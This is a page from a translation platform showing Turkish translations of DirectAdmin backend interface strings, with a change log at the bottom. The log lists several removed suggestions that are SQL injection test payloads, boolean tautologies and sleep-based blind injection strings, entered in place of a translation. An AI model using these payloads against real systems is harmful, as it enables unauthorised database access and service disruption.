DirectAdmin/DirectAdmin backend — Turkish @ Translate DirectAdmin:

Translation

English

Turkish, Singular (1)

Turkish, Plural (0, 2, 3, 4, 5, 6, 7, 8, 9, 10, …)

Plural formula: n != 1

Needs editing

Skip

	English	Turkish	Actions
	Singular - %d New Message Inside Plural - %d New Messages Inside	Singular - %d yeni bildiriminiz var Plural - %d yeni bildiriminiz var
	/ Day	/ gün
	# of Domains	Etki alanı
	# of IPs	IP adresleri
	# of MySQL DBs	MySQL veri tabanları
	# of Resellers	Bayiler
	# of SubDomains	Alt etki alanı
	# of Users	Kullanıcılar
	# of free IPs	Kullanılabilecek IP adresleri
	%d Days, %d Hours and %d Minutes	%d gün, %d saat ve %d dakika
	%d of %d Admin/Reseller accounts currently exist.	%d / %d yönetici/bayi hesabı zaten var.
	%d of %d accounts currently exist.	%d / %d hesap zaten var.
	%d of %d domains currently exist.	%d / %d etki alanı zaten var.
	%d settings updated	%d ayar güncellendi
	%s %s %s did not exist	%s %s %s bulunamadı
	%s '%s' cannot be restored under '%s'. Restoring under the file's default: '%s'	%s '%s', '%s' altına geri yüklenemez. Dosyanın varsayılan konumu altına geri yükleniyor: '%s'

Loading…

kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 59 characters edited Singular -1 OR 2+485-485-1=0+0+0+1 -- Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 55 characters edited Singular -1 OR 2+165-165-1=0+0+0+1 Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 58 characters edited Singular - %d yeni bildiriminiz var Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 60 characters edited Singular -1' OR 2+829-829-1=0+0+0+1 -- Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 72 characters edited Singular -1' OR 2+537-537-1=0+0+0+1 or '88Wi9itx'=' Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 60 characters edited Singular -1" OR 2+516-516-1=0+0+0+1 -- Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 61 characters edited Singular if(now()=sysdate(),sleep(15),0) Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 73 characters edited Singular 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 73 characters edited Singular 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z Plural - %d yeni bildiriminiz var 2 years ago
kayazeren Suggestion removed DirectAdmin DirectAdmin backend Turkish	English Singular - %d New Message Inside Plural - %d New Messages Inside Turkish 147 characters edited Singular (select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/ Plural - %d yeni bildiriminiz var 2 years ago

Browse all string changes

Things to check

Same plurals

Some plural forms are translated in the same way

Reset

Glossary

English	Turkish
message	ileti	DirectAdmin

String information

Flags

c-format

String age

3 years ago

Last updated

2 months ago

Source string age

3 years ago

Translation file

tr/LC_MESSAGES/internal.po, string 1